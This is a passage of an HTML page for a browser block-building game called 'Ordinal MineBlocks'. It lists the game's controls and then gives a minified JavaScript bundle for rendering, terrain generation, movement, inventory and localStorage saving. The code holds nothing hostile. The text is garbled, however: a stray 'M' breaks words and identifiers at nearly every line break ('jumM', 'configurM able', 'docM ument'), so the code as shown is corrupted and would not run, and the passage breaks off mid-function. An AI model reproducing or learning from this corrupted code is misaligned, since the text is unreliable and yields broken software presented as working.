      <p>- <b>[e]</b> to toggle craftable items</p>
      <p>- <b>[spacebar]</b> to jumM
      <p>- Hold <b>[shift]</b> to take/build on liquids</p>
      <p>- <b>[left click]</b> to break a block</p>
      <p>- <b>[right click]</b> to build a block</p>
      <p>- <b>[number keys]</b> to change selected items</p>
<script type="text/javascript">
  !function(t){function e(n){if(r[n])return r[n].exports;var o=r[n]={i:n,l:!1,exports:{}};return t[n].call(o.exports,o,o.exports,e),o.l=!0,o.exports}var r={};e.m=t,e.c=r,e.d=function(t,r,n){e.o(t,r)||Object.defineProperty(t,r,{configurM
able:!1,enumerable:!0,get:n})},e.n=function(t){var r=t&&t.__esModule?function(){return t.default}:function(){return t};return e.d(r,"a",r),r},e.o=function(t,e){return Object.prototype.hasOwnProperty.call(t,e)},e.p="",e(e.s=12)}([function(t,e,r){"use strict";function n(t,e,r){try{return window.game.map[0|t][0|e][0|r]}catch(e){}}var o=r(1),i=function(t){return t&&t.__esModule?t:{default:t}}(o),a=!1,u=!1,c=!1,f=document.querySelector("#game");(0,i.default)(function(){u=!1}),t.exports={dlog:function(){c||(c=!0,console.M
log.apply(this,arguments),setTimeout(function(){return c=!1},500))},drawAllTextures:function(){for(var t=window.game,e=t.pixels,r=t.texmap,n=t.width,o=0;21>o;o++)for(var i=0;i<48;i++)for(var a=0;16>a;a++){var u=r[a+16*i+256*o*3],c=1.328125,f=16*o,s=f+a,l=n*i;16<o&&(s-=272,l=n*(i+48));var d=4*(s+l);e.data[d+0]=(255&u>>16)*c,e.data[d+1]=(255&u>>8)*c,e.data[d+2]=(255&u)*c}},getBlock:n,setBlock:function(t,e,r,n,o,i){if(o=o||window.game.map,!(255<t||255<e||255<r))try{o[t][e][r]!==i&&(o[t][e][r]=n)}catch(e){}},isInsideChM
eck:function(){if(u)return a;u=!0;for(var t,e=window.game.player,r=e.x,o=e.y,i=e.z,c=o;0<c;c--)if(0!==(t=n(r,c,i))&&8!==t)return a=!0;return a=!1},calcArcFromLength:function(t,e){var r=e/2;return(r-Math.abs(t-r))/r},tryCatch:function(t){var e=null;try{e=t()}catch(t){e=null}return e},getCanvas:function(){return f}}},function(t,e){"use strict";Object.defineProperty(e,"__esModule",{value:!0});var r=[];setInterval(function(){r.forEach(function(t){return t()})},1e3),e.default=function(t){r.push(t)}},function(t,e,r){"useM
 strict";function n(){return Math.abs(c)/255}function o(){var t=f[0],e=f[1],r=f[2],o=s[0],i=s[1],a=s[2],u=n(),c=[t*(1-u),e*(1-u),r*(1-u)],l=[o*u,i*u,a*u];return[c[0]+l[0],c[1]+l[1],c[2]+l[2]]}Object.defineProperty(e,"__esModule",{value:!0}),e.time=void 0;var i=function(){function t(t,e){var r,n=[],o=!0,i=!1;try{for(var a,u=t[Symbol.iterator]();!(o=(a=u.next()).done)&&(n.push(a.value),!e||n.length!==e);o=!0);}catch(t){i=!0,r=t}finally{try{!o&&u.return&&u.return()}finally{if(i)throw r}}return n}return function(e,r){iM
f(Array.isArray(e))return e;if(Symbol.iterator in Object(e))return t(e,r);throw new TypeError("Invalid attempt to destructure non-iterable instance")}}(),a=r(1),u=function(t){return t&&t.__esModule?t:{default:t}}(a),c=e.time=0,f=[154,218,255],s=[200,25,75];(0,u.default)(function(){e.time=c+=.5,255<c&&(e.time=c=-255)}),t.exports={color:function(){var t=o(),e=i(t,3),r=e[0],a=e[1],u=e[2],c=1-n();return[r*c,a*c,u*c]},timeModifier:n,setTime:function(t){e.time=c=parseFloat(t)},getTime:function(){return c}}},function(t,e,M
r){"use strict";Object.defineProperty(e,"__esModule",{value:!0});var n=r(0),o=function(t){return t&&t.__esModule?t:{default:t}}(n);e.default={safeGet:function(t){return o.default.tryCatch(function(){return localStorage.getItem(t)})||""},safeSet:function(t,e){return o.default.tryCatch(function(){return localStorage.setItem(t,e)})||""},exits:function(){try{return localStorage.getItem(null),!0}catch(t){return!1}}}},function(t){"use strict";t.exports={RES:{WIDTH:320,HEIGHT:240},MAP_SIZE:256,MAX_FPS:60,SEA_LEVEL:30,MAP_M
SCALE:31,JMP:{STR:.4,AMP:.001},BLOCKS_MAP:[[2,4,12,7,9,11,13,14,15,16],[1,20,3,6,10,8,5,17,18,19]],CRAFTABLES:{2:[1,1],4:[20,6],7:[6,.25],9:[10,8],11:[8,.5],12:[3,4],13:[5,2],14:[17,9],15:[18,9],16:[19,9]},LOCAL_STORAGE:["_mcm","_mcs","_mct","_mci"]}},function(t,e,r){"use strict";function n(t){for(var e=0;e<t.length;e++){var r=e%256,n=0|e/256%64,o=0|e/256/64;if("-"!==t[e]){var i=l.indexOf(t[e]);-1!==i&&(window.game.map[o][n][r]=i)}}}function o(t,e){for(var r="",n=0;n<e;n++)r+=t;return r}function i(t){for(var e,r=""M
,n="",i=0;i<t.length;i++)e=/\d/.test(t[i]),e?n+=t[i]:n?(r+=o(t[i],parseInt(n,10)),n=""):r+=t[i];return r}var a=r(0),u=r(2),c=r(3),f=function(t){return t&&t.__esModule?t:{default:t}}(c),s=r(6),l=Array(58).fill(1).map(function(t,e){return String.fromCharCode(65+e)});t.exports={main:function(){var t=window,e=t.game,r=f.default.safeGet("_mct"),o=(0,a.tryCatch)(function(){return JSON.parse(f.default.safeGet("_mci"))});o&&(e.hotbar.items=o.map(function(t){return null===t?1/0:t})),r&&(0,u.setTime)(r);var c=f.default.safeGM
et("_mcm");c&&n(i(s.decompress(c)))},unMinify:i}},function(t){"use strict";var e=String.fromCharCode,r=32768,n=Object.prototype.hasOwnProperty,o=Math.pow,i=function(t){return t.charCodeAt(0)};t.exports={compress:function(t){if(null==t)return"";var r,a,u,c=function(t){return e(t)},f={},s={},l="",d="",v="",m=2,h=3,p=2,w=[],y=0,g=0;for(u=0;u<t.length;u+=1)if(l=t.charAt(u),n.call(f,l)||(f[l]=h++,s[l]=!0),d=v+l,n.call(f,d))v=d;else{if(n.call(s,v)){if(256>i(v)){for(r=0;r<p;r++)y<<=1,15==g?(g=0,w.push(c(y)),y=0):g++;for(aM
=i(v),r=0;8>r;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1}else{for(a=1,r=0;r<p;r++)y=y<<1|a,15==g?(g=0,w.push(c(y)),y=0):g++,a=0;for(a=i(v),r=0;16>r;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1}m--,0==m&&(m=o(2,p),p++),delete s[v]}else for(a=f[v],r=0;r<p;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1;m--,0==m&&(m=o(2,p),p++),f[d]=h++,v=l+""}if(""!==v){if(n.call(s,v)){if(256>i(v)){for(r=0;r<p;r++)y<<=1,15==g?(g=0,w.push(c(y)),y=0):g++;for(a=i(v),r=0;8>r;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)M
),y=0):g++,a>>=1}else{for(a=1,r=0;r<p;r++)y=y<<1|a,15==g?(g=0,w.push(c(y)),y=0):g++,a=0;for(a=i(v),r=0;16>r;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1}m--,0==m&&(m=o(2,p),p++),delete s[v]}else for(a=f[v],r=0;r<p;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1;0==--m&&(m=o(2,p),p++)}for(a=2,r=0;r<p;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1;for(;;){if(y<<=1,15==g){w.push(c(y));break}g++}return w.join("")},decompress:function(t){var n,i,a,u,c,f,s,l=function(e){return t.charCodeAt(e)},d=[],M
v=4,m=4,h=3,p="",w=[],y={val:l(0),position:r,index:1};for(n=0;3>n;n+=1)d[n]=n;for(a=0,c=o(2,2),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<=1;switch(a){case 0:for(a=0,c=o(2,8),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<=1;s=e(a);break;case 1:for(a=0,c=o(2,16),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<=1;s=e(a);breaM
k;case 2:return""}for(d[3]=s,i=s,w.push(s);;){if(y.index>t.length)return"";for(a=0,c=o(2,h),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<=1;switch(s=a){case 0:for(a=0,c=o(2,8),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<=1;d[m++]=e(a),s=m-1,v--;break;case 1:for(a=0,c=o(2,16),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<M
=1;d[m++]=e(a),s=m-1,v--;break;case 2:return w.join("")}if(0==v&&(v=o(2,h),h++),d[s])p=d[s];else{if(s!==m)return null;p=i+i.charAt(0)}w.push(p),d[m++]=i+p.charAt(0),v--,i=p,0==v&&(v=o(2,h),h++)}}}},function(t,e,r){"use strict";var n=r(8),o=r(14),i=r(17);t.exports={mapDataType:n,map:o,textures:i}},function(t){"use strict";t.exports=function(){var t=window.game.CONST.MAP_SIZE;return Array(t).fill(0).map(function(){return Array(64).fill(0).map(function(){return Array(t).fill(0)})})}},function(t,e,r){"use strict";var nM
=Math.PI,o=Math.cos,i=Math.sin,a=function(){function t(t,e){var r,n=[],o=!0,i=!1;try{for(var a,u=t[Symbol.iterator]();!(o=(a=u.next()).done)&&(n.push(a.value),!e||n.length!==e);o=!0);}catch(t){i=!0,r=t}finally{try{!o&&u.return&&u.return()}finally{if(i)throw r}}return n}return function(e,r){if(Array.isArray(e))return e;if(Symbol.iterator in Object(e))return t(e,r);throw new TypeError("Invalid attempt to destructure non-iterable instance")}}(),u=r(4),c=r(10),f=r(0),s=f.getBlock,l={forward:0,backward:0,strafeLeft:0,stM
rafeRight:0,jump:0,jumping:0,shift:0};t.exports={applyGravity:function(){var t=window.game.CONST.JMP,e=t.AMP,r=t.STR,n=window.game.player,o=n.x,i=n.y,a=n.z;i+=2;var u=s(o,i,a);if(l.jump&&0<u&&(n.velocity=-r,l.jumping=1),l.jumping){n.velocity+=n.velocity+r+e,0<n.velocity&&(n.velocity=0,l.jumping=0);var c=s(o,n.y+n.velocity,a);return void(0==c?n.y+=n.velocity:9==c&&(n.y+=n.velocity/8))}if(0==u||9==u){3>n.velocity&&(n.velocity+=.2);var f=n.y+.1*n.velocity/(0==u?1:4),d=s(o,Math.ceil(f)+1,a);return void(n.y=0==d||9==d?fM
:0|f)}n.velocity=0},calculateMovement:function(){var t=window.game.player,e=s(t.x,t.y+1,t.z);if(l.forward||l.backward||l.strafeLeft||l.strafeRight){var r=9==e?16:8,a=t.x,u=t.y+1.8,c=t.z,f=i(t.yaw)/r,d=o(t.yaw)/r;l.forward?(a+=f,c+=d):l.backward&&(a-=f,c-=d);var v=t.yaw-n/2,m=i(v)/r,h=o(v)/r;l.strafeLeft?(a+=m,c+=h):l.strafeRight&&(a-=m,c-=h);var p=s(a,u,c);if(0==p||9==p)t.x=a,t.z=c;else{var w=s(a,u,t.z),y=s(t.x,u,c);0==w||9==w?t.x=a:(0==y||9==y)&&(t.z=c)}}},init:function(){var t=window.game,e=t.player,r=t.map,f=docM
ument.addEventListener,d=document.getElementById("game"),v=function(t){var r=t.movementX||t.mozMovementX||t.webkitMovementX||0,o=t.movementY||t.mozMovementY||t.webkitMovementY||0;e.yaw=(e.yaw+r/500)%7.855,e.pitch-=o/1e3;var i=n/2,a=-i;e.pitch<a&&(e.pitch=a),e.pitch>i&&(e.pitch=i)};d.addEventListener("click",function(){d.requestPointerLock=d.requestPointerLock||d.mozRequestPointerLock||d.webkitRequestPointerLock,d.requestPointerLock()}),f("keydown",function(t){t.preventDefault();var e=window,r=e.game,n=t.keyCode;16=M
=n?l.shift=1:65==n?l.strafeLeft=1:68==n?l.strafeRight=1:87==n?l.forward=1:83==n?l.backward=1:32==n?l.jump=1:48==n?r.hotbar.selected=9:49<=n&&57>=n?r.hotbar.selected=n-49:69==n&&(r.hotbar.side=r.hotbar.side?0:1)}),f("keyup",function(t){var e=t.keyCode;16==e?l.shift=0:65==e?l.strafeLeft=0:68==e?l.strafeRight=0:87==e?l.forward=0:83==e?l.backward=0:32==e&&(l.jump=0)}),f("click",function(t){for(var e,n=window.game,f=n.player,d=n.hotbar,v=d.items,m=f.x,h=f.y,p=f.z,w=[],y=0;6e3>y;y++){e=o(f.pitch),m+=i(f.yaw)*e/1e3,h-=i(fM
.pitch)/1e3,p+=o(f.yaw)*e/1e3;var g=s(m,h,p),M=0<g;if((9==g||10==g)&&(M=l.shift),M){if(0===t.button)r[0|m][0|h][0|p]=0,(0,c.inventoryAdd)(g);else if(2===t.button){var b=w,_=a(b,3),x=_[0],A=_[1],S=_[2],k=u.BLOCKS_MAP[d.side][d.selected],E=v[k];if(!E)return;r[0|x][0|A][0|S]=k||1,(0,c.inventoryRemove)(k)}return}w=[m,h,p]}}),["pointer","mozpointer","webkitpointer"].forEach(function(t){return document.addEventListener(t+"lockchange",function(){var t=document,e=t.pointerLockElement,r=t.mozPointerLockElement,n=t.webkitPoiM
nterLockElement;document[e==d||r==d||n==d?"addEventListener":"removeEventListener"]("mousemove",v)})})}}},function(t,e,r){"use strict";function n(t,e,r){for(var n=window.game,o=n.pixels,i=n.texmap,a=n.width,u=n.hotbar,c=0;16>c;c++)for(var f=0;16>f;f++){var s=i[f+16*(c+16)+256*t*3],l=u.items[t],d=1.328125,v=(255&s>>16)*d,m=(255&s>>8)*d,h=(255&s)*d,p=4*(e+f+(r+c)*a);if(!l){var w=(v+m+h)/6;v=w+v/3,m=w+m/3,h=w+h/3}o.data[p+0]=v,o.data[p+1]=m,o.data[p+2]=h}}function o(t,e,r){var n=window.game.ctx;if(void 0!=t&&t!==1/0){M
var o=999<t?(0|t/1e3)+"k":t;n.font="100 8px OCR A Std,Impact,monospace",n.strokeStyle="black",n.textAlign="right",n.lineWidth=2,n.fillStyle="#fff",n.strokeText(o,e,r),n.fillText(o,e,r)}}var i=function(){function t(t,e){var r,n=[],o=!0,i=!1;try{for(var a,u=t[Symbol.iterator]();!(o=(a=u.next()).done)&&(n.push(a.value),!e||n.length!==e);o=!0);}catch(t){i=!0,r=t}finally{try{!o&&u.return&&u.return()}finally{if(i)throw r}}return n}return function(e,r){if(Array.isArray(e))return e;if(Symbol.iterator in Object(e))return t(M
e,r);throw new TypeError("Invalid attempt to destructure non-iterable instance")}}(),a=r(4),u=a.BLOCKS_MAP,c=a.CRAFTABLES,f=function(){return(window.game.width-180)/2},s=function(){return window.game.height-16-8},l=function(t){var e=0;return Object.entries(c).some(function(r){var n=i(r,2),o=n[0],a=n[1];return i(a||[],1)[0]===t&&(e=o,!0)}),e};t.exports={drawIcons:function(){var t=window.game.hotbar;u[t.side].forEach(function(t,e){n(t,f()+18*e,s())})},drawHotbarBorder:function(){var t=window.game,e=t.ctx,r=t.hotbar,nM
=f()+18*r.selected;e.lineWidth=1,e.strokeStyle="#fff",e.strokeRect(n+1,s()+1,14,14),e.strokeStyle="#000",e.strokeRect(n,s(),16,16)},drawIconNumers:function(){for(var t=window.game.hotbar,e=t.side,r=0;10>r;r++){var n=f()+18*r,i=u[e][r];o(t.items[i],n+16,s()+16)}},inventoryAdd:function(t){var e=window.game.hotbar,r=e.items;r[t]++;var n=c[t];if(n){var o=i(n,2),a=o[0],u=o[1];return void(r[a]=0|r[t]/u)}var f=l(t);if(f){var s=i(c[f],2),d=s[1];r[f]+=d}},inventoryRemove:function(t){var e=window.game.hotbar,r=e.items;r[t]--M
;var n=c[t];if(n){var o=i(n,2),a=o[0],u=o[1];return void(r[a]=0|r[t]/u)}var f=l(t);if(f){var s=i(c[f],2),d=s[1];r[f]-=d}}}},function(t,e,r){"use strict";function n(t){return t&&t.__esModule?t:{default:t}}var o=Math.cos,i=Math.sin,a=r(2),u=n(a),c=r(1),f=n(c),s=r(21),l=n(s),d=r(0),v=0,m=0;(0,f.default)(function(){m=(m+1)%3}),t.exports={render:function(){var t=window.game,e=t.texmap,r=t.width,n=t.height,a=t.player,c=t.CONST,f=(t.fps,t.scanlinesEnabled),s=t.renderDistance,h=o(a.pitch),p=i(a.pitch),w=o(a.yaw),y=i(a.yaw)M
,g=a.x-(0|a.x),M=a.y-(0|a.y),b=a.z-(0|a.z);v=v?0:1;for(var _=0;_<r;_++)for(var x=(0,d.calcArcFromLength)(_,r),A=(_-r/2)/n,S=f?_%2+v-1:0;S<n;S+=f?2:1){for(var k,E=(0,d.calcArcFromLength)(S,n),L=s+(s*x+s*E)/2,T=(S-n/2)/n,C=h+T*p,O=T*h-p,I=A*w+C*y,P=C*w-A*y,j=0,R=255,z=0;3>z;z++){k=I,1==z&&(k=O),2==z&&(k=P);var B=1/Math.abs(k),N=I*B,D=O*B,F=P*B,G=g;1==z&&(G=M),2==z&&(G=b),0<k&&(G=1-G);var q=a.x+N*G,H=a.y+D*G,W=a.z+F*G;0>k&&(z||q--,1==z&&H--,2==z&&W--);for(var X,Z=B*G,J=c.MAP_SIZE-1;Z<L;){if(X=(0,d.getBlock)(q&J,63&H,WM
&J),(W>J||63<H||q>J||0>W||0>H||0>q)&&(X=0),0<X){var K=15&16*(q+W),Y=16+(15&16*H);1==z&&(K=15&16*q,Y=15&16*W,0>D&&(Y+=32));var V=e[K+16*Y+256*X*3];if(0<V){if(j=V,1==z&&(9==X||10==X)){var U=K+Y*(m+1)*16+256*X*3;9==X&&7680>U?j=e[U]:10==X&&8680>U&&(j=e[U])}var Q=u.default.timeModifier(),$=1-Z/s*Q;R=(255-(z+2)%3*50)*$,L=Z}}q+=N,H+=D,W+=F,Z+=B}}(0,l.default)(_,S,R,j)}}}},function(t,e,r){"use strict";function n(t){return t&&t.__esModule?t:{default:t}}var o=r(13),i=n(o),a=r(5),u=n(a),c=r(2),f=r(1),s=n(f),l=r(0),d=r(3),v=n(M
d),m=r(9),h=r(7),p=r(18),w=r(4),y=w.RES,g=y.WIDTH,M=y.HEIGHT,b=0|w.MAP_SIZE/2;document.title="Ordinal MineBlocks",window.game={CONST:w},window.game={CONST:w,width:g,height:M,getTime:c.getTime,setTime:c.setTime,player:{x:b,y:0,z:b,velocity:0,pitch:-.1,yaw:0},hotbar:{selected:0,side:0,items:Array(21).fill(0)},map:h.map(),texmap:h.textures(),ctx:document.getElementById("game").getContext("2d"),fps:0,scanlinesEnabled:!0,renderDistance:32},document.addEventListener("DOMContentLoaded",function(){var t=window,e=t.game,r=eM
.width,n=e.height,o=e.ctx,a=document.getElementById("toolbar"),c=(0,l.getCanvas)();c.width=r,c.height=n;var f=function(){var t=1.3334*window.innerHeight,e=window.innerHeight;.75*window.innerWidth<window.innerHeight&&(t=window.innerWidth,e=.75*window.innerWidth),c.setAttribute("style","width: "+t+"px; height: "+e+"px")};e.pixels=o.createImageData(r,n),e.pixels.data.fill(255),window.addEventListener("resize",f),f(),m.init(),p.clock.init(),setTimeout(u.default.main,500),(0,s.default)(function(){window.game}),a.addEvenM
tListener("click",function(t){var r=t.target.id;"lock"===r?a.classList.toggle("extended"):"save"===r?(0,i.default)():"load"===r?window.location.reload():"plus"===r?e.renderDistance+=5:"minus"===r?e.renderDistance-=5:"interlace"===r?setTimeout(function(){return e.scanlinesEnabled=!e.scanlinesEnabled},1):"newseeed"===r&&confirm("Generate a new seed? This will erase your current save.")&&(w.LOCAL_STORAGE.forEach(function(t){return localStorage.removeItem(t)}),v.default.safeSet("_mcs",0|Math.random()*Number.MAX_SAFE_INM
TEGER),window.location.reload()),5>e.renderDistance?e.renderDistance=5:255<e.renderDistance&&(e.renderDistance=255)})})},function(t,e,r){"use strict";function n(t){return t&&t.__esModule?t:{default:t}}function o(){for(var t="",e=m(h()),r=m(window.game.map),n=0;n<r.length;n++){var o=e[n],i=r[n];t+=o===i?"-":i}return t}function i(t){for(var e="",r=t[0],n=1,o=1;o<t.length;o++)t[o]===r?n++:(e+=1==n?r:n+r,r=t[o],n=1);return e+=n+r}Object.defineProperty(e,"__esModule",{value:!0}),e.stringify=void 0;var a=r(5),u=r(2),c=r(M
7),f=n(c),s=r(3),l=n(s),d=r(6),v=Array(58).fill(1).map(function(t,e){return String.fromCharCode(65+e)}),m=e.stringify=function(t){return t.map(function(t){return t.map(function(t){return t.map(function(t){return v[t]||v[0]}).join("")}).join("")}).join("")},h=function(){return window.game._map=window.game._map||f.default.map()};e.default=function(){var t=window,e=t.game;l.default.safeSet("_mct",(0,u.getTime)()),l.default.safeSet("_mci",JSON.stringify(e.hotbar.items));var r=o();console.log("saving mapStr length",r.leM
ngth);var n=i(r),c=d.compress(n);console.log("minified",n.length,n),console.log("compressed",c.length,c),l.default.safeSet("_mcm",c);var f=d.decompress(c);(0,a.unMinify)(f)===r?console.log("success"):console.log("Could not save map internally")}},function(t,e,r){"use strict";function n(t,e,r,n){for(var o=e*r%6+6,i=0;i<o;i++)t[e][r-i][n]=7;for(var a=o;0<a;a-=3)for(var u=-1;2>u;u++)for(var f=-1;2>f;f++)c(f+e,r-a,u+n,8,t,7)}var o=Math.floor,i=r(3),a=function(t){return t&&t.__esModule?t:{default:t}}(i),u=r(0),c=u.setBlM
ock,f=r(8),s=r(15),l=a.default.exits(),d=a.default.safeGet("_mcs");l?!d&&(a.default.safeSet("_mcs",0|Math.random()*Number.MAX_SAFE_INTEGER),window.location.reload()):(d=0,document.querySelector(".nosaving").classList.toggle("show"),console.log('no localstorage. Using seed "0". No saving permitted'));var v=s(d),m={1:1,2:1,4:1};t.exports=function(){for(var t=window.game.CONST,e=t.SEA_LEVEL,r=t.MAP_SCALE,i=t.MAP_SIZE,a=f(),u=function(){return Array(i)},c=document.getElementById("loading"),s=u(),l=u(),d=0;d<i;d++){s[d]M
=u(),l[d]=u();for(var h,p=0;p<i;p++){h=v(d/r,p/r,0),h*=10,h+=32,h=o(h),s[d][p]=h;var w=v(d/2,p/2,0);w*=3,w=o(w),l[d][p]=w,window.treeMap=l}}console.log("ran");for(var y=0;y<i;y++)for(var g,M=0;M<i;M++){g=s[y][M],a[y][g][M]=g<=e?1:12;for(var b=g-1;b>e;b--)a[y][b][M]=9;for(var _=g+1;64>_;_++)a[y][_][M]=4;-2>=l[y][M]&&g<e&&n(a,y,g-1,M),34==g&&(a[y][g][M]=13);for(var x=e-5;64>x;x++){if(48<x){var A=v(y/r*4,x/r*2,M/r*4);if(.55<A&&.6>A){var S=a[y][x][M];m[S]&&(a[y][x][M]=10)}}var k=v(y/r*2,x/r*4,M/r*2);if(.35<k&&.8>k){varM
 E=a[y][x][M];m[E]&&(a[y][x][M]=0)}var L=v(y/r*8,x/r*8,M/r*8);if(.2<L&&.8>L){var T=a[y][x][M];m[T]&&(50>x&&.2<L&&.21>L?a[y][x][M]=14:42<x&&50>x&&.55<L&&.6>L?a[y][x][M]=15:48<x&&.7<L&&(a[y][x][M]=16))}if(61<x)if(63==x)a[y][x][M]=11;else{var C=v(y/r*64,x/r*64,M/r*64);.1<C&&(a[y][x][M]=11)}}}return c.hidden=!0,a}},function(t,e,r){"use strict";function n(t,e){if(!(t instanceof e))throw new TypeError("Cannot call a class as a function")}function o(t){if(Array.isArray(t)){for(var e=0,r=Array(t.length);e<t.length;e++)r[e]M
=t[e];return r}return Array.from(t)}var i=function(){function t(t,e){for(var r,n=0;n<e.length;n++)r=e[n],r.enumerable=r.enumerable||!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(t,r.key,r)}return function(e,r,n){return r&&t(e.prototype,r),n&&t(e,n),e}}(),a=r(16),u=function(t){return t&&t.__esModule?t:{default:t}}(a);t.exports=function(){for(var t,e=0<arguments.length&&void 0!==arguments[0]?arguments[0]:1,r=1<arguments.length&&void 0!==arguments[1]?arguments[1]:Array(512),a=-1,c=Math.floor,M
f=[].concat(o(r)),s=function(t){return t*t*t*(t*(6*t-15)+10)},l=function(t,e,r){return(1-r)*t+r*e},d=[[1,1],[a,1],[1,a],[a,a],[1,,1],[a,,1],[1,,a],[a,,a],[,1,1],[,a,1],[,1,a],[,a,a]].map(function(t){return new(Function.prototype.bind.apply(function(){function t(){var e=0<arguments.length&&void 0!==arguments[0]?arguments[0]:0,r=1<arguments.length&&void 0!==arguments[1]?arguments[1]:0,o=2<arguments.length&&void 0!==arguments[2]?arguments[2]:0;n(this,t),this.x=e,this.y=r,this.z=o}return i(t,[{key:"d",value:function(t,M
e,r){return this.x*t+this.y*e+this.z*r}}]),t}(),[null].concat(o(t))))}),v=0;256>v;v++)t=(0,u.default)(e+v,256)^(1&v?255&e:255&e>>8),r[v]=r[v+256]=t,f[v]=f[v+256]=d[t%12];return function(t,e,n){var o=c(t),i=c(e),a=c(n);t-=o,e-=i,n-=a,o&=255,i&=255,a&=255;var u=s(t),d=s(e),v=s(n),m=i+r[a],h=i+r[a+1],p=o+r[m],w=o+r[h],y=o+r[m+1],g=o+r[h+1];return l(l(l(f[p].d(t,e,n),f[p+1].d(t-1,e,n),u),l(f[w].d(t,e,n-1),f[w+1].d(t-1,e,n-1),u),v),l(l(f[y].d(t,e-1,n),f[y+1].d(t-1,e-1,n),u),l(f[g].d(t,e-1,n-1),f[g+1].d(t-1,e-1,n-1),u),vM
),d)}}},function(t,e){"use strict";Object.defineProperty(e,"__esModule",{value:!0}),e.default=function(t,e){return(""+(2147483647&Math.imul(48271,t))/2147483648).split("").slice(-10).join("")%e}},function(t){"use strict";t.exports=function(){for(var t=Array(12288),e=1;21>e;e++)for(var r=255-(0|96*Math.random()),n=0;48>n;n++)!function(n){for(var o=0;16>o;o++)!function(o){var i=9858122,a=r;if(32<=n&&(a/=2),(4!=e&&6!=e||0==(0|3*Math.random()))&&(r=255-(0|96*Math.random())),1==e&&(n<18+(3&o*o*3+81*o>>2)?i=6990400:1==e&M
&n<19+(3&o*o*3+81*o>>2)&&(r=2*r/3)),3==e&&(i=14606046,0<o&&15>o&&(0<n&&15>n||16<n&&31>n||32<n&&47>n)&&(a=0)),4==e&&(i=8355711),5==e&&(i=11876885,(0==(o+4*(n>>2))%8||0==n%4)&&(i=12365733)),6==e&&(i=10519115,0==(0|16*Math.random())&&(r=255-(0|96*Math.random())),0==n%4&&(a=132)),7==e)if(i=6771249,0<o&&15>o&&(0<n&&15>n||32<n&&47>n)){i=12359778;var u=o-7,c=(15&n)-7;0>u&&(u=1-u),0>c&&(c=1-c),c>u&&(u=c),r=196-(0|32*Math.random())+u%3*32}else 0==(0|2*Math.random())&&(r=r*(140-100*(1&o))/100);8==e&&(i=5298487,0==(0|2*Math.rM
andom())&&(i=0,a=255)),9==e&&(i=4219135,a=192+(0|32*Math.random())),10==e&&(i=15810114,a=192+(0|32*Math.random()),0==(0|2*Math.random())&&(i=15834690)),11==e&&(i=4392035,0==(0|2*Math.random())&&(i=2294851)),12==e&&(i=15196080,1>16*Math.random()&&(a=164+4*o)),13==e&&(i=15200224,1>16*Math.random()&&(i=16232346));var f=function(t){2<o&&13>o&&(2<n&&13>n||18<n&&29>n)&&1>4*Math.random()&&(i=t)};14==e&&(i=8355711,f(15810114)),15==e&&(i=8355711,f(15778600)),16==e&&(i=8355711,f(4517357)),17==e&&(i=13704738,1>16*Math.random(M
)&&(a=164+4*o),0<=o&&14>o&&(0<n&&15>n||16<n&&31>n||32<n&&47>n)&&(32>n&&(i=15810114),r=255)),18==e&&(i=13673224,1>16*Math.random()&&(a=164+4*o),0<=o&&14>o&&(0<n&&15>n||16<n&&31>n||32<n&&47>n)&&(32>n&&(i=15778600),r=255)),19==e&&(i=3386283,1>16*Math.random()&&(a=164+4*o),0<=o&&14>o&&(0<n&&15>n||16<n&&31>n||32<n&&47>n)&&(32>n&&(i=4517357),r=255)),20==e&&(i=8355711,1<=(0|4*Math.random())&&(Math.random(),i=5277975));var s=(255&i>>16)*a/255<<16|(255&i>>8)*a/255<<8|(255&i)*a/255;t[o+16*n+256*e*3]=s}(o)}(n);return t}},funcM
tion(t,e,r){"use strict";var n=r(19),o=r(11);t.exports={clock:n,render:o}},function(t,e,r){"use strict";function n(t){return t&&t.__esModule?t:{default:t}}function o(){var t=window.game,e=t.ctx,r=t.pixels;window._tick+=1,d.applyGravity(),d.calculateMovement(),m(),f.default.drawIcons(),e.putImageData(r,0,0),f.default.drawHotbarBorder(),f.default.drawIconNumers(),(0,l.default)()}function i(t){var e=window.game.CONST.MAX_FPS;return t-h<1e3/e?window.requestAnimationFrame(i):(o(),h=t,void window.requestAnimationFrame(i)M
)}var a=r(1),u=n(a),c=r(10),f=n(c),s=r(20),l=n(s),d=r(9),v=r(11),m=v.render,h=0;t.exports={init:function(){window._tick=0;var t=document.querySelector(".fps");(0,u.default)(function(){var e=window._tick;window.game.fps=e,t&&(t.innerText=e.toString()+" fps"),window._tick=0}),window.requestAnimationFrame?window.requestAnimationFrame(i):setInterval(o,10)}}},function(t,e,r){"use strict";Object.defineProperty(e,"__esModule",{value:!0});var n,o,i,a=r(1),u=function(t){return t&&t.__esModule?t:{default:t}}(a);e.default=funM
